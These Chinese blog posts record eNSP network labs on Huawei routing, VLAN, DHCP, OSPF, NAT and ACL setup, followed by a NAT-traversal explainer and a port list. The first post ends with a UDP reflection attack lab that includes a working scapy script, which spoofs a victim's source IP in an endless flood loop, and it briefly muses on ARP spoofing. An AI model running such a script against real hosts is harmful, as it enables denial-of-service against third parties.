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2022-11-03
【网络通信】eNSP 学习记录
静态路由实验实验拓扑图实验目的实现静态路由R1和R5进行通信配置命令// R1路由器配置 system-view // 进入系统视图 interface g0/0/0 // 进入接口 ip address 192.168.1.1 24 // 配置ip地址,命令相同配置好其它路由器 //先配置R1到R3 ip route-static 192.168.2.0 24 192.168.1.2 // 指定到 192.168.2.0 从 192.168.1.2 出去 现在我们可以过去了但需要回来所以要在R3里配置 回来的静态路由 ip route-static 192.168.1.0 24 192.168.2.2 // 这是回来的路由配置 命令相同修改下配置下面机个路由器即可 实验效果用户登录实验官方介绍华为的super 命令设置的口令用于低级别用户向高级别用户切换时进行验证,类似于 UNIX 系统和 Linux 系统中从普通用户转换到 root 帐户时须输入 super 进行切换。华为网络设备的命令级别共分为 4 级,分别为访问级( 0 级)、监控级( 1 级)、系统级( 2 级)和管理级( 3 级),当低级别用户向高级别切换时. 输入命令 super [level],此时如果设置了super 的password,则只有验证通过后切换才能实现 。super 的口令配置也有明文和暗文两种方式,具体命令为 super password simple ( 明文 ),super password cipher ( 暗文 ) 。如果用户想要实现对通过 console 、 telnet 或 web 方式访问华为交换设备的身份验证,则需要在相应的虚拟端口配置验证信息。(1) console访问 方式:需要在 user-interface con 0 模式下配置 authentication-mode 。(2) ssh、telnet访问 方式:需要在 user-interface vty 0 4 模式下配置 authentication-mode 。(3) web访问 方式:需要启用 web 管理服务,并要有 local-user 配置的用户和密码。console口配置user-interface console 物理接口 // 只有一个 0 ~ 4 默认不认证 vty 虚拟接口 // 自己定义想多少就多少0 默认认证 password 默认的权限是3 //没有修改的情况下 user-interface console 0 // 进入console口 user privilege level 0 // 修改等级 // 完整代码 <Huawei>system-view // 进入系统视图 [Huawei]aaa // 进入3a认证 [Huawei-aaa]local-user jw1201 privilege level 0 password cipher 123456 // 配置两条命令 [Huawei]user-interface console 0 // 进入console [Huawei-ui-console0]authentication-mode aaa // 修改认证模式aaa // 默认的认证模式是不认证 [Huawei-ui-console0]q // 退出 [Huawei]q // 退出 <Huawei>super 3 // 进入等级不够只能使用用户视图,跳到3等级 无密码直接进入 [Huawei-aaa]local-user jw1201 password cipher 123456 [Huawei-ui-console0]authentication-mode aaa // 更改验证模式 配置telnet用Telnet远程进入到交换机的端口中 [Router]user-interface vtycipher 用于对密码加密方式,输入时密码时,命令行不显示密码privilege level 用于给与此用户拥有的权限等级(等级为0-15,15为最高权限)service-type telnet 表示此用户用于Telnet服务创建用户命令:[Router-aaa]local-user 创建的用户名 password cipher 密码权限设置命令:[Router-aaa]local-user 需要修改权限的用户名 privilege level 权限等级[Huawei]user-interface vty 0 1 // 进入虚拟接口 [Huawei-ui-vty0-1]authentication-mode aaa // 修改模式为3a [Huawei-aaa]local-user jw1201 privilege level 3 password cipher 123456// 一行代码设置登录账号密码和等级 [Huawei-aaa]local-user jw1201 service-type telnet // 设置用户服务类型 [Huawei-aaa]q // 退出 [Huawei]telnet server enable // 开启telnet服务配置ssh// 生成rsa密匙:rsa local-key-pair create [server]rsa local-key-pair create // 服务器配置vty用户界面,设置验证方式为aaa,指定协议为ssh [server]user-interface vty 0 4 [server-ui-vty0-4]authentication-mode aaa [server-ui-vty0-4]protocol inbound ssh // 在aaa视图创建ssh用户huawei密码huawei123 [server]aaa [server-aaa]local-user huawei service-type ssh [server-aaa]local-user huawei password cipher huawei123 // 设置ssh用户的认证为密码 [server]ssh user huawei authentication-type password // 开启stelnet服务,默认关闭 server]stelnet server enable [Huawei]dis ssh user-information // 查看是否开启ssh // 接下来在客户端尝试连接 // 第一次登陆需要开启ssh认证 [client]ssh client first-time enable // 连上后,ssh用户的权限连系统视图都无法进入。 // 再给ssh用户huawei增加权限!(当然在添加用户时就可以配置) [server]aaa [server-aaa]local-user huawei privilege level 15 //这里给的最高权限VLAN通信实验实验拓扑图实验目的实现不同vlan之间的通信。首先要知道不同vlan之间的主机是无法实现通信的,所以必须通过三层路由设备进行路由转发才能将报文从一个vlan转发到另一个vlan。vlan技术可以将一个大的局域网划分成多个小局域网,并且隔离了广播域,使不同广播域的用户不能进行通信。有三种方式:路由器物理接口实现路由子接口进行实现VLAN IF技术实现实验步骤1.先手动配置下主机的IP地址子网掩码和默认网关。// 交换机配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-sw1 // 改个名字 [actdream-sw1]undo info-center enable // 关闭提示信息 [actdream-sw1]vlan batch 10 20 // 创建vlan 10 20 [actdream-sw1]int e0/0/2 // 进入e0/0/2接口 [actdream-sw1-Ethernet0/0/2]port link-type access // 配置接口为access [actdream-sw1-Ethernet0/0/2]port default vlan 10 // 配置接口属于vlan10 [actdream-sw1]int e0/0/3 // 进入e0/0/3接口 [actdream-sw1-Ethernet0/0/3]port link-type access // 配置接口为access [actdream-sw1-Ethernet0/0/3]port default vlan 20 // 配置接口属于vlan20 [actdream-sw1]int e0/0/1 // 进入e0/0/1接口 [actdream-sw1-Ethernet0/0/1]port link-type trunk // 配置接口为trunk [actdream-sw1-Ethernet0/0/1]port trunk allow-pass vlan all // 允许所有的vlan通过 // 路由器配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar1 // 改个名字 [actdream-ar1]int g0/0/0.1 // 进入子接口 [actdream-ar1-GigabitEthernet0/0/0.1]ip add 192.168.1.254 24 // 给子接口配置ip地址 [actdream-ar1-GigabitEthernet0/0/0.1]dot1q termination vid 10 // 封装下给vlan10 [actdream-ar1-GigabitEthernet0/0/0.1]arp broadcast enable // 开启arp广播功能 [actdream-ar1]int g0/0/0.2 // 进入子接口 [actdream-ar1-GigabitEthernet0/0/0.2]ip add 192.168.2.254 24 // 给子接口配置ip地址 [actdream-ar1-GigabitEthernet0/0/0.2]dot1q termination vid 20 // 封装下给vlan20 [actdream-ar1-GigabitEthernet0/0/0.2]arp broadcast enable // 开启arp广播功能2.配置好了尝试PC1 ping PC2 可以看见是能通信的。实验效果RIP动态路由实验实验拓扑图实验目的实现动态路由不同网段间的通信。rip协议,通过启用rip协议,路由器可以更好的学习相邻的路由表,更好的适应多变且庞大的网络环境。实验步骤1.先手动配置下主机的IP地址子网掩码和默认网关。// 路由器ar1配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar1 // 改个名字 [actdream-ar1]int g0/0/1 // 进入接口 [actdream-ar1-GigabitEthernet0/0/1]ip add 192.168.1.254 24 // 配置网关地址 [actdream-ar1-GigabitEthernet0/0/1]int g0/0/0 // 进入接口 [actdream-ar1-GigabitEthernet0/0/0]ip add 192.168.3.1 24 // 配置R1与R2路由器通信的ip [actdream-ar1]rip // 启用rip [actdream-ar1-rip-1]network 192.168.1.0 // 宣告网段 [actdream-ar1-rip-1]network 192.168.3.0 // 宣告网段 // 路由器ar2配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar2 // 改个名字 [actdream-ar2]int g0/0/1 [actdream-ar2-GigabitEthernet0/0/1]ip add 192.168.2.254 24 // 配置网关地址 [actdream-ar2]int g0/0/0 // 进入接口 [actdream-ar2-GigabitEthernet0/0/0]ip add 192.168.3.2 24 // 配置R2与R1路由器通信的ip [actdream-ar2]rip // 启用rip [actdream-ar2-rip-1]network 192.168.3.0 // 宣告网段 [actdream-ar2-rip-1]network 192.168.2.0 // 宣告网段实验效果PC相同IP MAC实验这种情况基本不可能有的,局域网内不可能有相同的IP和MAC,当然要是有人想改那就不一样了,对了就是改IP地址和MAC地址,一开始我在想会发生什么,直到我实验了下发现都能通信!!在Windows上改IP和MAC都是自带的,网上也有很多这样的工具。实验拓扑实验步骤1.三台PC机我都手动配置了IP地址,接下来就到交换机看一下。2.到交换机的终端面板,进入视图输入 dis mac-add 查看交换机的mac缓存表,什么都没有,那是因为我们还没ping 对方,所以并不会广播寻找对方就没有mac缓存表了。3.现在我们用PC3 ping PC2,交换机就会用ARP协议广播问谁是192.168.10.1 请把你的mac地址告诉我,这个时候是192.168.10.1的主机就会把mac给交换机,然后交换机建立mac表,进行通信。4.这个时候我们查交换机的mac表,就会多出两条mac地址。5.我把两台PC机的mac和ip改成相同的,两台PC机同时ping PC2,观察抓包和交换机的mac地址表的变化。6.可以发现两台PC电脑都是可以通信的,要是刷新交换机mac地址显示的话,你会发现接口一下变成e0/0/1接口一下又变成e0/0/3接口,这说明交换机两边都在回应,但这样也不影响我们通信,最多会掉一个包,看视频什么的没任何压力,玩游戏的话有可能会卡一下吧。总结如果内网出现大量的PC伪装成一台电脑的IP和mac,会导致对方的包不断回复给别的主机,导致对方PC断网(自己的想法)。ARP协议这款缺陷比较大,利用好直接玩转局域网,像上面的广播问谁是192.168.10.1 这个时候,要是别人一直发响应包给交换机,说我就是PC2 mac地址是这个,那么别人就会找伪装成PC2与你通信,欺骗网关还能当中间人对吧,流量都从你的电脑经过。DHCP地址分配实验DHCP代理通过三层交换机做中继,获取路由器上dhcp IP地址池,分发给下面的PC机,个人理解有误请指正。实验拓扑实验步骤// AR1 配置 sys // 进入系统模式 dhcp enable // 开启dhcp ip pool vlan10 // 创建vlan10 ip地址池 network 192.168.10.0 mask 24 gateway-list 192.168.10.254 dns-list 8.8.8.8 ip pool vlan20 // 创建vlan20 ip地址池 network 192.168.20.0 mask 24 gateway-list 192.168.20.254 dns-list 8.8.8.8 int g0/0/0 // 配置接口ip ip add 192.168.80.2 26 dhcp select global // 开启全局dhcp ip route-static 0.0.0.0 0 192.168.80.1 // 添加一条静态路由1.先全部设备都开机,好了进路由器配置下dhcp ip地址池,给G0/0/0配置IP地址。// LSW2 配置 sys // 进入系统视图 dhcp enable // 开启dhcp vlan batch 10 20 50 // 创建vlan int vlan 10 // 进入vlan10 ip address 192.168.10.254 255.255.255.0 // 配置分发的ip dhcp select relay // 模式选择relay dhcp relay server-ip 192.168.80.2 // 指定的ip是 g0/0/0 接口上配置的ip int vlan 20 // 相同给vlan20 也配上 ip address 192.168.20.254 255.255.255.0 dhcp select relay dhcp relay server-ip 192.168.80.2 int vlan 50 // 再进入vlan50 配置ip要和g0/0/0接口配置的ip在一个网段内才行。 ip add 192.168.80.1 26 int g0/0/2 // 进入接口 port link-type trunk // 配置接口类型 trunk port trunk allow-pass vlan all // 允许所有vlan通过2.再到三层交换机LSW2上配置下中继,给 g0/0/2 接口配置 trunk 模式。// LSW1 配置 sys // 进入系统模式 int g0/0/1 // 配置g0/0/1 与 g0/0/2 一致使用trunk port link-type trunk // 配置接口类型 trunk port trunk allow-pass vlan all // 允许所有vlan通过 int g0/0/2 // 交换机下的接口都配置成access模式就行 port link-type access // 配置接口类型 access port default vlan 10 // 把vlan10加入接口 int g0/0/3 port link-type access // 配置接口类型 access port default vlan 20 // 把vlan20加入接口3.到这里就已经可以自动分配ip地址了,我们到pc机上把dhcp打开让它自动获取。效果1.查看ip地址都有,现在双方都ping一下,可以看到两台PC都可以互相通信的。DHCP分配最简单的dhcp自动分配地址,用接口配置的网关进行分配。实验拓扑实验步骤sys // 进入系统视图 dhcp enable // 开启dhcp功能 int g0/0/0 // 进入接口 ip add 192.168.10.254 24 // 配置默认网关 dhcp select interface // 选择dhcp接口分配1.到路由器设置下dhcp服务,让他充当dhcp服务器,往下面分配ip地址。2.现在到PC机上设置自动获取,这个时候就可以拿到地址了。3.我们看一下获取成功,这是最简单的一种办法了。OSPF路由实验OSPF相关知识OSPF一种动态路由协议,能动态学习到其他网段的路由。1.无环路:区域内部采用树形算法;区域间采用星型拓扑2.收敛快:相比于其他路由协议能更快速的收敛网络3.扩展性好:当网络规模扩大的时候, OPSF支持多区域可以将一些设备划分在一个区域4.支持认证:增加了网络的安全性实验拓扑实验步骤// AR2 配置 sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 192.168.10.254 24 // 配置192.168.10.1网段的路由网关 int g0/0/0 // 进入接口 ip add 200.10.20.1 24 // 配置 AR2路由器 与 AR3 之间通信的ip地址 (要在同一网段)// AR3 配置 sys // 进入系统视图 int g0/0/0 // 进入接口 ip add 200.10.20.2 24 // 配置 AR3路由器 与 AR2 之间通信的ip地址 int g0/0/1 ip add 200.10.30.1 24 // 配置 AR3路由器 与 AR4 之间通信的ip地址 (要在同一网段)// AR4 配置 sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.30.2 24 // 配置 AR4路由器 与 AR3 之间通信的ip地址 int g0/0/2 // 进入接口 ip add 192.168.20.254 24 // 配置192.168.20.1网段的路由网关1.我先把路由器的ip地址和pc的ip地址都配置一下,pc机的网关要填对哦。// AR2 配置 ospf // 进入ospf area 0 // 区域设置0 network 192.168.10.0 0.0.0.255 // 看AR2路由器有两个线一头是 192.168.10.254 network 200.10.20.0 0.0.0.255 // 另一头是 200.10.20.0 直接进行宣告就行// AR3 配置 // 下面的操作都是一样的,改下宣告的网段就行 ospf area 0 network 192.168.10.0 0.0.0.255 network 200.10.20.0 0.0.0.255// AR4 配置 ospf area 0 network 192.168.10.0 0.0.0.255 network 200.10.20.0 0.0.0.2552.现在到路由器里配置ospf,进入ospf视图里用 network 命令宣告网段,这里填的是网段加子网掩码的反码,到这里就已经配置好了ospf路由了,可以在路由器里用效果1.测试下能不能ping通对方,可以看到都是没问题的。链路聚合实验简介链路聚合的作用 :把多个物理接口绑定成一个逻辑接口,对于带宽何链路的可靠性做提升,若其中一端口出现故障,则该成员端口的流量就会切换到成员链路中去。保障了网络传输的可靠性。简单来说就是多连两根线,把这些线都绑定到一个逻辑接口上,要是其中有一条线出问题了,那么另外一条线就会自动补上,不影响网络的通信。实验拓扑实验步骤// LSW5 配置 sys int eth-trunk 1 mode lacp-static max active-linknumber 2 int e0/0/1 eth-trunk 1 int e0/0/2 eth-trunk 1 int e0/0/3 eth-trunk 1 // LSW6 配置 (相同的) sys int eth-trunk 1 mode lacp-static max active-linknumber 2 int e0/0/1 eth-trunk 1 int e0/0/2 eth-trunk 1 int e0/0/3 eth-trunk 11.先到交换机上配置下链路聚合,把它加到这三根线上。2.配置好再到交换机用 dis trunkmembership eth-trunk 1 这条命令看下状态,可以看到有两条线是开的,一条线是关的。int e0/0/2 // 进入e0/0/2接口 shutdown // 关闭接口 undo shutdown // 启动接口3.我们尝试关闭e0/0/2接口,看看e0/0/3会不会自动补上,进入e0/0/2 输入shutdown 接口就关闭了,和我想的一样自动补上了,看到e0/0/3 状态从down 切换到了 up 状态。效果1.关掉了其中一个接口,没有影响到他们的的通信,一个包都没丢。端口安全实验简介简单来说在公司的网络环境中,为了防外部人员接入公司内部网络,在交换机上给端口都绑定上指定PC的Mac地址,防止非法计算机接入。实验拓扑实验步骤1.PC机上我都手动配置好了IP地址,现在用PC机互相Ping让交换机学习下Mac地址建立mac表。2.到交换机使用 dis mac-add 查看mac地址表,发现三台PC机都有了。3.这里为了演示我就给PC1绑定下MAC地址,其他的PC都是一样的操作。sys // 进入系统视图 int e0/0/1 // 进入接口 port-security enable // 开启端口安全 port-security mac-address sticky port-security mac-address sticky 5489-9865-40F1 vlan 1 // 绑定mac4.没改PC1 Mac地址 尝试 ping PC2,毫无疑问是可以通信的。5.现在改下Pc1的mac地址,看下能不能通信。6.改完之后很显然是不能通信实验成功。VLAN隔离实验简介简单的来说,IP地址是否属于同一子网络是根据子网掩码来决定的,如果两台PC的IP地址是一个网段的话那么可以正常通信,要是我想实现一个网段的但又不想让他们互相通信,那怎么办呢这里就要用到vlan技术了,他可以实现对IP逻辑上的隔离。实验拓扑实验步骤1.比较简单,这里就全设置了下创建了两个vlan 10 和 20, 并把vlan加入四台PC机指定的端口上。sys // 进入系统视图 vlan batch 10 20 // 批量创建vlan interface Ethernet0/0/1 port link-type access // 模式改成 access port default vlan 10 // 把vlan10加入接口里 interface Ethernet0/0/2 port link-type access // 模式改成 access port default vlan 10 // 把vlan10加入接口里 interface Ethernet0/0/3 port link-type access // 模式改成 access port default vlan 20 // 把vlan20加入接口里 interface Ethernet0/0/4 port link-type access // 模式改成 access port default vlan 20 // 把vlan20加入接口里2.PC1 ping PC2 可以发现是通的,他们是属于vlan 10 的所以可以,要是PC1 ping PC3 就不行了。 3.这就是vlan的隔离,不配置vlan 是可以通信的,因为是一个网段的。动态NAT实验简介简单来说,当我们访问公网某台服务器时,我们内网IP要从路由器出去利用NAT技术,将内网IP转换为公网IP进行访问,当数据到达公网的服务器上给我们做返回,就会把数据发给转换的公网地址,让他找到内网发数据的主机传达给他,这样就实现了内网和外网的通信,IPv4本来已经枯竭了,就是有这项技术还是在用IPv4。实验拓扑实验步骤1.老规矩先手动配置下PC机的IP地址好通信。2.上AR2路由器上配置两端的接口,让路由器之间可以互相通信。sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.10.2 24 // 给公网接口添加IP地址 int g0/0/0 // 进入接口 ip add 192.168.10.254 24 // 给内网接口添加IP地址3.再配置下OSPF宣告一下网段,让他们之间可以通信。(我的思路是这样)ospf // 进入ospf area 0 // 区域设置 0 network 192.168.10.0 0.0.0.255 // 宣告内网网段 network 200.10.10.0 0.0.0.25 // 宣告公网网段4.配置好了OSPF就可以通信了,但这里出去的地址是内网地址,我们抓包看下ICMP出去的IP地址。5.可以看到出路由器的地址是内网IP,在现实环境中那是不可能的,所以这里要做动态NAT地址转换。nat address-group 1 200.10.10.3 200.10.10.10 // 创建地址组 设置公网分配范围 acl 2000 // 进入基本acl rule permit source 192.168.10.0 0.0.0.255 // 创建规则 int g0/0/1 // 进入接口 nat outbound 2000 address-group 1 no-pat // 把出口 200与ip组绑定 配置在接口上6.配置好再抓包ping 公网发现内网IP转换为公网IP地址了。静态NAT实验简介简单来说就是内网有一台服务器或者多台,需要让公网访问的到这时就要用到静态NAT技术把内网映射到公网上。实验拓扑实验步骤1.老规矩先手动配置下服务器和PC机的IP地址 好进行通信,这里的标签我写错了AR3下面G0/0/0,现改成 200.10.20.254。2.先到AR2路由器里配置下两端的IP地址,加上OSPF建立下邻居关系。sys // 进入系统视图 int g0/0/0 // 进入接口 ip add 200.10.10.2 24 // 添加IP地址 int g0/0/1 ip add 192.168.10.254 24 int g0/0/2 ip add 8.8.8.1 24 ospf // 进入ospf area 0 // 区域设置0 network 192.168.10.0 0.0.0.255 // 宣告网段 network 200.10.10.0 0.0.0.25 network 8.8.8.0 0.0.0.2553.然后再到AR3路由器里配置下,接口通信的IP地址,加上OSPF宣告下网段。sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.10.1 24 // 配置ip地址 ospf area 0 network 200.10.10.0 0.0.0.255 network 200.10.20.0 0.0.0.2554.配置好基本上内网服务器能ping通外网了,现在给AR2路由器做下静态NAT。5.再到dns服务器上,添加下内网服务器映射的公网IP与域名进行绑定,好了之后记得把服务器都启动起来。6.再去 Client1上配置好DNS地址,可以自己测试 ping dns 看看能不能通信。7.全都配置好后,就可以获取内网服务器的服务数据了。ACL访问控制实验简介ACL是访问控制列表,它是一种包过滤防火墙,路由器和交换机接口的指令列表,有了它可以实现数据包出入的控制,它分为基本acl和高级acl,这里就实现个基本acl。实验拓扑实验步骤1.手动配置下IP地址和网关,这样才可以进行通信。2.进入AR1路由器给两边的接口,配置下IP地址先然后它们就可以通信了。3.有PC1 ping PC2 发现是可以通信的,接下来配置下基本acl阻止PC1与PC2之间的通信。acl 2000 // 配置基本acl rule 15 deny source 192.168.10.0 0.0.0.255 int g0/0/0 // 进入接口 traffic-filter outbound acl 2000 // 配置出站过滤4.配置好acl,在里面添加网段 192.168.10.0,阻止这所有的主机,当然也可以指定IP地址了。5.配置好后尝试ping,发现不能通信了实验成功。FTP文件上传实验简介FTP服务器,是在互联网上提供存储空间的计算机,它们依照FTP协议提供服务,全称是File Transfer Protocol(文件传输协议),简单的来说,就是一台服务器专门用存储文件的也可以用来共享。实验拓扑实验步骤1.老规矩先手动配置下IP地址,这样才能通信。2.再配置下路由器旁边的接口ip地址。int g0/0/0 // 进入接口 ip add 192.168.2.254 24 // 配置FTP服务器网关 int g0/0/1 // 进入接口 ip add 192.168.3.254 24 // 配置设备网关3.再到FTP服务器设置面板,选择文件路径并开启FTP服务器。4.好了之后,使用Client1 ping ftp服务器看看能不能通信,可以看到是可以的。ftp 192.168.2.3 User(192.168.2.3:(none)):act // 第一次会让你配置下账号密码 331 Password required for act . Enter password: // 输入密码5.再回到路由器连接下FTP服务器,配置下账号和密码。6.然后输入在路由器更改的账号和密码,用设备进行登录就成功了,就可以上传文件和下载文件了。UDP反射攻击实验简介UDP 反射攻击的基本原理是,攻击者发送伪造的 UDP 请求数据包到反射主机,并将源 IP 地址伪造为受害主机的地址,反射主机接收请求后,会将数据包转发给受害主机,这样就能对受害主机进行拒绝服务攻击,当然你可以批量的反射那么就有多台主机进行攻击。实验拓扑这里只是拿eNSP打个比方,服务并没开UDP 53端口,所以攻击不成立,对方必须开启UDP 端口,你才能进行反射攻击。通过发起攻击抓包可以发现,反射的 1.2 PC 与 1.4 主机,都进行发送响应给 1.3 PC 主机,实验目的达成。UDP反射代码import threading from scapy.all import * payload = '0' * 1400 # 构造一个长度为 1400 字节的字符串 def send_packet(src_ip): packet = IP(src="192.168.1.3", dst=src_ip) / \ UDP(dport=53, sport=RandShort()) / \ Raw(load=payload) send(packet) hosts = ["192.168.1.2", "192.168.1.4"] while True: for src_ip in hosts: t = threading.Thread(target=send_packet, args=(src_ip,)) t.start() t.join()
2022年11月03日
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2022-10-03
【网络通信】NAT内网穿透原理
NAT知识国内网络环境被称为 “大内网”,原因如下: IPv4地址耗尽: IPv4地址资源已经用尽,无法为每台设备分配独立的公网IP。NAT技术的作用: NAT(网络地址转换)技术通过将内网IP地址转换为公网IP,实现设备访问外网。 路由器充当中介,负责内网到公网的地址和端口映射,从而支持更多设备共享少量公网IP。 内网设备通信需求: PC1和PC2位于同一内网,要访问外网服务器的Web服务,必须通过NAT转换和PAT端口映射。 NAT转换过程: PC2发送的数据到达路由器后,路由器将其内网IP转换为公网IP,并随机分配一个端口号。 路由器在NAT表中记录内网IP与端口的映射关系,从而允许PC2访问公网服务器,服务器返回的数据则通过映射回到内网设备。 NAT的弊端: 通信必须基于连接。一旦连接断开,路由器会释放NAT表中的映射关系。 此时,服务器无法再主动发送数据给PC2,数据包会被路由器判定为无效,从而无法接收,导致只能发起外部访问,不能接收外部主动请求。 部分解决方法: 例如,通过内网映射将公网IP绑定到内网设备,并保持监听状态,能一定程度上解决这个问题,但会带来更多管理复杂性与资源开销。内网穿透原理(简单版)需要中心服务器内网穿透需要一个中心服务器(Server)作为中转站,PC1和PC2先和Server建立连接。互相获取通信信息Server记录PC1和PC2的公网IP和端口信息(假设端口是100)。两台设备通过Server的转发,知道了彼此的IP和端口。直接通信(锥型NAT情况下)PC1直接向PC2的100端口发送连接请求,PC2回应后,两台设备就建立了UDP连接,可以绕过中心服务器直接通信。弊端如果两台设备的通信必须经过Server中转,速度会受限。比如:PC1和PC2带宽都是100M,但Server只有10M,那两者的传输速率最多只有5M。如果能实现直接通信(P2P),效率更高,但需要网络条件支持。简单来说,内网穿透就是用一个中转服务器让两台内网设备先“认识对方”,然后尝试直接通信。如果直接通信不行,就只能依赖中转,速度受限制。
2022年10月03日
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2022-09-17
【网络通信】计算机端口大全( 计算机基础 )
端口类型1、公认端口(Well-KnownPorts):范围从0到1023。 2、动态端口(Dynamic Ports):范围从1024到65535。 3、注册端口(RegisteredPorts):从1024到49151。 4、动态和/或私有端口(Dynamicand/orPrivatePorts):从49152到65535。{collapse}{collapse-item label="端口大全"}0端口:无效端口,通常用于分析操作系统 1端口:传输控制协议端口服务多路开关选择器 2端口:管理实用程序 3端口:压缩进程 5端口:远程作业登录 7端口:回显 9端口:丢弃 11端口:在线用户 13端口:时间 17端口:每日引用 18端口:消息发送协议 19端口:字符发生器 20端口:FTP文件传输协议(默认数据口) 21端口:FTP文件传输协议(控制) 22端口:SSH远程登录协议 23端口:telnet(终端仿真协议),木马Tiny Telnet Server开放此端口 24端口:预留给个人用邮件系统 25端口:SMTP服务器所开放的端口,用于发送邮件 27端口:NSW 用户系统 FE 29端口:MSG ICP 31端口:MSG验证,木马Master Paradise、HackersParadise开放此端口 33端口:显示支持协议 35端口:预留给个人打印机服务 37端口:时间 38端口:路由访问协议 39端口:资源定位协议 41端口:图形 42端口:主机名服务 43端口:who is服务 44端口:MPM(消息处理模块)标志协议 45端口:消息处理模块 46端口:消息处理模块(默认发送口) 47端口:NI FTP 48端口:数码音频后台服务 49端口:TACACS登录主机协议 50端口:远程邮件检查协议 51端口:IMP(接口信息处理机)逻辑地址维护 52端口:施乐网络服务系统时间协议 53端口:dns域名服务器 54端口:施乐网络服务系统票据交换 55端口:ISI图形语言 56端口:施乐网络服务系统验证 57端口:预留个人用终端访问 58端口:施乐网络服务系统邮件 59端口:预留个人文件服务 60端口:未定义 61端口:NI邮件 62端口:异步通讯适配器服务 63端口:whois++ 64端口:通讯接口 65端口:TACACS数据库服务 66端口:Oracle SQL*NET 67端口:引导程序协议服务端 68端口:引导程序协议客户端 69端口:小型文件传输协议 70端口:信息检索协议 71端口:远程作业服务 72端口:远程作业服务 73端口:远程作业服务 74端口:远程作业服务 75端口:预留给个人拨出服务 76端口:分布式外部对象存储 77端口:预留给个人远程作业输入服务 78端口:修正TCP 79端口:查询远程主机在线用户等信息 80端口:http,用于网页浏览,木马Executor开放此端口 81端口:HOST2名称服务 82端口:传输实用程序 83端口:模块化智能终端ML设备 84端口:公用追踪设备 85端口:模块化智能终端ML设备 86端口:Micro Focus Cobol编程语言 87端口:预留给个人终端连接 88端口:Kerberros安全认证系统 89端口:SU/MIT telnet(终端仿真网关) 90端口:DNSIX 安全属性标记图 91端口:MIT Dover假脱机 92端口:网络打印协议 93端口:设备控制协议 94端口:Tivoli对象调度 96端口:DIXIE协议规范 97端口:快速远程虚拟文件协议 98端口:TAC新闻协议 99端口:后门程序ncx99开放此端口 100端口:未知用途 101端口:NIC 主机名称服务 102端口:消息传输代理 103端口:Genesis 点对点传输网络 105端口:信箱名称服务 106端口:3COM-TSMUX开放端口 107端口:远程Telnet服务 108端口:SNA 网关访问服务 109端口:POP2服务器开放此端口,用于接收邮件 110端口:POP3服务器开放此端口,用于接收邮件 111端口:SUN公司的RPC服务所有端口 112端口:McIDAS 数据传输协议 113端口:认证服务,用于鉴别TCP连接的用户 114端口:音频新闻多点服务 115端口:简单文件传输服务 116端口:ANSA REX 通知 117端口:UUCP 路径服务 118端口:SQL 服务 119端口:NEWS新闻组传输协议,承载USENET通信 121端口:木马BO jammerkillahV开放端口 122端口:SMAKY网络 123端口:网络时间协议,蠕虫病毒会利用,一般关闭 128端口:GSS X许可认证 129端口:密码生成器协议 130端口:Cisco软件开放端口 131端口:Cisco软件开放端口 132端口:Cisco软件开放端口 133端口:统计服务 134端口:INGRES-网络服务 135端口:DCOM服务,冲击波病毒利用,不能关闭 136端口:命名系统 137端口:NETBIOS协议应用,为共享开放 138端口:NETBIOS协议应用,为共享开放 139端口:NETBIOS协议应用,为共享开放 140端口:EMFIS数据服务 141端口:EMFIS控制服务 143端口:Interim邮件访问协议 144端口:UMA软件开放端口 145端口:UAAC协议 149端口:AED 512仿真服务 150端口:SQL(结构化查询语言)-网络 152端口:后台文件传输协议 156端口:SQL(结构化查询语言)服务 158端口:PC邮件服务器 159端口:NSS-路由 160端口:SGMP-陷阱 161端口:简单网络管理协议 162端口:SNMP陷阱 163端口:CMIP/TCP 管理 164端口:CMIP/TCP 代理 166端口:Sirius系统 169端口:发送 170端口:网络附言 177端口:x显示管理控制协议,入侵者通过它访问X-windows操作台 178端口:NextStep Window 服务 179端口:边界网关协议 180端口:图表 181端口:统一 184端口:OC服务器 185端口:远程-KIS 186端口:KIS 协议 187端口:应用通信接口 189端口:队列文件传输 190端口:网关进入控制协议 191端口:Prospero 目录服务 192端口:OSU 网络监视系统 193端口:Spider 远程控制协议 194端口:多线交谈协议 197端口:目录地址服务 198端口:目录地址服务监视器 200端口:IBM系统资源控制器 201端口:AppleTalk(Mac机所用的网络协议)路由保证 202端口:AppleTalk(Mac机所用的网络协议)Name Binding 203端口:AppleTalk(Mac机所用的网络协议)未用端口 204端口:AppleTalk(Mac机所用的网络协议)回显 205端口:AppleTalk(Mac机所用的网络协议)未用端口 206端口:AppleTalk(Mac机所用的网络协议)区信息 207端口:AppleTalk(Mac机所用的网络协议)未用端口 208端口:AppleTalk(Mac机所用的网络协议)未用端口 209端口:快速邮件传输协议 210端口:ANSI(美国国家标准协会)Z39.50 211端口:Texas Instruments 914C/G终端 213端口:IPX(以太网所用的协议) 218端口:Netix消息记录协议 219端口:Unisys ARPs 220端口:交互邮件访问协议 v3 223端口:证书分发中心 224端口:masq拨号器 241端口:预留端口 (224-241) 245端口:链接 246端口:显示系统协议 257端口:安全电子交易系统 258端口:Yak Winsock 个人聊天 259端口:有效短程遥控 260端口:开放端口 261端口:IIOP 基于TLS/SSL的命名服务 266端口:SCSI(小型计算机系统接口)on ST 267端口:Tobit David服务层 268端口:Tobit David复制 281端口:个人连结 282端口:Cable端口A/X 286端口:FXP通信 308端口:Novastor备份 313端口:Magenta逻辑 318端口:PKIX时间标记 333端口:Texar安全端口 344端口:Prospero数据存取协议 345端口:Perf分析工作台 346端口:Zebra服务器 347端口:Fatmen服务器 348端口:Cabletron管理协议 358端口:Shrink可上网家电协议 359端口:网络安全风险管理协议 362端口:SRS发送 363端口:RSVP隧道 372端口:列表处理 373端口:Legend公司 374端口:Legend公司 376端口:AmigaEnvoy网络查询协议 377端口:NEC公司 378端口:NEC公司 379端口:TIA/EIA/IS-99调制解调器客户端 380端口:TIA/EIA/IS-99调制解调器服务器 381端口:hp(惠普)性能数据收集器 382端口:hp(惠普)性能数据控制节点 383端口:hp(惠普)性能数据警报管理 384端口:远程网络服务器系统 385端口:IBM应用程序 386端口:ASA信息路由器定义文件. 387端口:Appletalk更新路由. 389端口:轻型目录访问协议 395端口:网络监视控制协议 